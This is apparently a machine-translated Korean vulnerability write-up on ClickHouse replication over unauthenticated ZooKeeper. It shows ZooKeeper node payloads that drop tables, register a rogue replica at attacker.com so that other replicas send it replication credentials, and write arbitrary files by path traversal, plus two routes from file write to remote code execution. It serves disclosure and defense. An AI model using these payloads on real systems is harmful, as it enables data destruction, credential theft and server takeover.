동물원 우리를 폐쇄해야 하는 이유는 무엇입니까?

이 기사에서는 ClickHouse 복제 프로토콜의 매우 구체적인 취약점에 대해 설명하고 공격 표면을 확장할 수 있는 방법도 보여줍니다.

ClickHouse는 대용량 데이터를 저장하기 위한 데이터베이스로, 대부분 하나 이상의 복제본을 사용합니다. ClickHouse의 클러스터링 및 복제는 그 위에 구축됩니다. 아파치 주키퍼 (ZK)이며 쓰기 권한이 필요합니다.

기본 ZK 설치에는 인증이 필요하지 않으므로 Kafka, Hadoop, ClickHouse를 구성하는 데 사용되는 수천 개의 ZK 서버를 공개적으로 사용할 수 있습니다.

공격 표면을 줄이려면 ZooKeeper를 설치할 때 항상 인증 및 권한 부여를 구성해야 합니다.

물론 일부 0day 기반 Java 역직렬화가 있지만 공격자가 ClickHouse 복제에 사용되는 ZooKeeper를 읽고 쓸 수 있다고 상상해 보십시오.

클러스터 모드로 구성되면 ClickHouse는 분산 쿼리를 지원합니다. DDL, ZK를 통과 - 시트에 노드가 생성됩니다. /clickhouse/task_queue/ddl.

예를 들어 노드를 생성합니다. /clickhouse/task_queue/ddl/query-0001 내용:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

그 후에는 클러스터 서버 호스트1과 호스트2에서 테스트 테이블이 삭제됩니다. DDL은 CREATE/ALTER/DROP 쿼리 실행도 지원합니다.

무서운 것 같나요? 그러면 공격자는 서버 주소를 어디서 얻을 수 있습니까?

클릭하우스 복제 개별 테이블 수준에서 작동하므로 ZK에서 테이블이 생성될 때 복제본과 메타데이터 교환을 담당할 서버가 지정됩니다. 예를 들어 요청을 실행할 때(ZK를 구성해야 하며, chXX - 복제본의 이름, foobar - 테이블 이름):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

노드가 생성됩니다 열 и 메타 데이터.

함유량 /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

이 클러스터의 데이터를 병합할 수 있나요? 예, 복제 포트(TCP/9009) 서버에서 chXX-address 방화벽은 닫히지 않으며 복제를 위한 인증도 구성되지 않습니다. 인증을 우회하는 방법은 무엇입니까?

공격자는 단순히 ZK의 내용을 복사하여 ZK에서 새로운 복제본을 생성할 수 있습니다. /clickhouse/tables/01-01/foobar/replicas/chXX 그리고 의미를 바꾸는 것 host.

함유량 /clickhouse/tables/01–01/foobar/복제본/공격자/호스트:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

그런 다음 공격자의 서버에 가져와야 하는 새로운 데이터 블록이 있다는 것을 다른 복제본에 알려야 합니다. 노드는 ZK에서 생성됩니다. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX 단조 증가 카운터, 이벤트 로그의 마지막 카운터보다 커야 함):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

어디에서 소스_복제본 — 이전 단계에서 생성된 공격자의 복제본 이름, block_id — 데이터 블록 식별자, 얻을 - "블록 가져오기" 명령(그리고 다른 작업에 대한 명령은 다음과 같습니다.).

다음으로, 각 복제본은 로그에서 새 이벤트를 읽고 공격자가 제어하는 ​​서버로 이동하여 데이터 블록을 수신합니다(복제 프로토콜은 바이너리이며 HTTP 위에서 실행됨). 섬기는 사람 attacker.com 요청을 받게 됩니다:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

여기서 XXX는 복제를 위한 인증 데이터입니다. 경우에 따라 이는 기본 ClickHouse 프로토콜과 HTTP 프로토콜을 통해 데이터베이스에 액세스할 수 있는 계정일 수 있습니다. 보시다시피 복제에 사용되는 ZooKeeper가 인증이 구성되지 않은 상태로 방치되었기 때문에 공격 표면이 매우 커집니다.

복제본에서 데이터 블록을 가져오는 기능을 살펴보겠습니다. 모든 복제본이 적절하게 제어되고 있으며 복제본 간에 신뢰가 있다는 완전한 확신을 가지고 작성되었습니다.

복제 처리 코드

이 함수는 파일 목록, 이름, 크기, 내용을 읽은 다음 파일 시스템에 씁니다. 파일 시스템에 데이터가 저장되는 방법을 별도로 설명하는 것이 좋습니다.

에는 여러 하위 디렉터리가 있습니다. /var/lib/clickhouse (구성 파일의 기본 저장소 디렉터리):

플래그 - 녹음을 위한 디렉토리 깃발, 데이터 손실 후 복구에 사용됩니다.
tmp를 — 임시 파일을 저장하기 위한 디렉토리;
user_files — 요청에 있는 파일에 대한 작업은 이 디렉터리(INTO OUTFILE 및 기타)로 제한됩니다.
메타 데이터 — 테이블 설명이 포함된 SQL 파일
preprocessed_configs - 다음에서 처리된 파생 구성 파일 /etc/clickhouse-server;
데이터 - 데이터 자체가 포함된 실제 디렉터리. 이 경우 각 데이터베이스에 대해 별도의 하위 디렉터리가 여기에 생성됩니다(예: /var/lib/clickhouse/data/default).

데이터베이스 디렉터리의 각 테이블에 대해 하위 디렉터리가 생성됩니다. 각 열은 다음에 따라 별도의 파일입니다. 엔진 형식. 예를 들어 테이블의 경우 foobar공격자가 생성하면 다음과 같은 파일이 생성됩니다.

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

복제본은 데이터 블록을 처리할 때 동일한 이름의 파일을 수신할 것으로 예상하며 어떤 방식으로도 유효성을 검사하지 않습니다.

세심한 독자라면 아마도 함수에서 file_name의 안전하지 않은 연결에 대해 이미 들어봤을 것입니다. WriteBufferFromFile. 예, 이를 통해 공격자는 사용자 권한으로 FS의 모든 파일에 임의의 콘텐츠를 쓸 수 있습니다. clickhouse. 이를 위해 공격자가 제어하는 ​​복제본은 요청에 대해 다음 응답을 반환해야 합니다(이해하기 쉽도록 줄 바꿈이 추가되었습니다).

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

그리고 연결 후 ../../../../../../../../../tmp/pwned 파일이 기록됩니다 /tmp/pwned 내용으로 안녕하세요 동물원 사육사.

파일 쓰기 기능을 RCE(원격 코드 실행)로 전환하는 데는 여러 가지 옵션이 있습니다.

RCE의 외부 사전

이전 버전에서는 ClickHouse 설정이 있는 디렉터리가 사용자 권한으로 저장되었습니다. 클릭하우스 기본. 설정 파일은 서비스가 시작 시 읽은 다음 캐시되는 XML 파일입니다. /var/lib/clickhouse/preprocessed_configs. 변경사항이 발생하면 다시 읽혀집니다. 다음에 접근할 수 있는 경우 /etc/clickhouse-server 공격자는 자신만의 것을 만들 수 있다 외부 사전 실행 가능한 유형을 선택한 다음 임의의 코드를 실행합니다. 현재 클릭하우스 버전은 기본적으로 권한을 제공하지 않지만, 서버가 점진적으로 업데이트되면 해당 권한이 유지될 수 있습니다. ClickHouse 클러스터를 지원하는 경우 설정 디렉터리에 대한 권한을 확인하세요. 해당 디렉터리는 사용자에게 속해야 합니다. root.

ODBC에서 RCE로

패키지를 설치하면 사용자가 생성됩니다. clickhouse, 홈 디렉토리가 생성되지 않았습니다. /nonexistent. 그러나 외부 사전을 사용할 때나 다른 이유로 관리자는 디렉토리를 생성합니다. /nonexistent 그리고 사용자에게 clickhouse 쓰기 액세스 권한(SSZB! 약. 역자).

클릭하우스는 지원합니다 ODBC 다른 데이터베이스에 연결할 수 있습니다. ODBC에서는 데이터베이스 드라이버 라이브러리(.so)에 대한 경로를 지정할 수 있습니다. ClickHouse의 이전 버전에서는 요청 처리기에서 직접 이 작업을 수행할 수 있었지만 이제는 연결 문자열에 대한 보다 엄격한 검사가 추가되었습니다. odbc-bridge, 따라서 더 이상 요청에서 드라이버 경로를 지정할 수 없습니다. 그러나 공격자가 위에 설명된 취약점을 사용하여 홈 디렉터리에 쓸 수 있습니까?

파일을 만들어보자 ~/.odbc.ini 다음과 같은 내용으로:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

그런 다음 시작 시 SELECT * FROM odbc('DSN=lalala', 'test', 'test'); 라이브러리가 로드됩니다 test.so 그리고 RCE를 받았습니다(감사합니다 버그록 팁).

ClickHouse 버전 19.14.3에서는 이러한 취약점과 기타 취약점이 수정되었습니다. ClickHouse와 ZooKeepers를 잘 관리하세요!

출처 : habr.com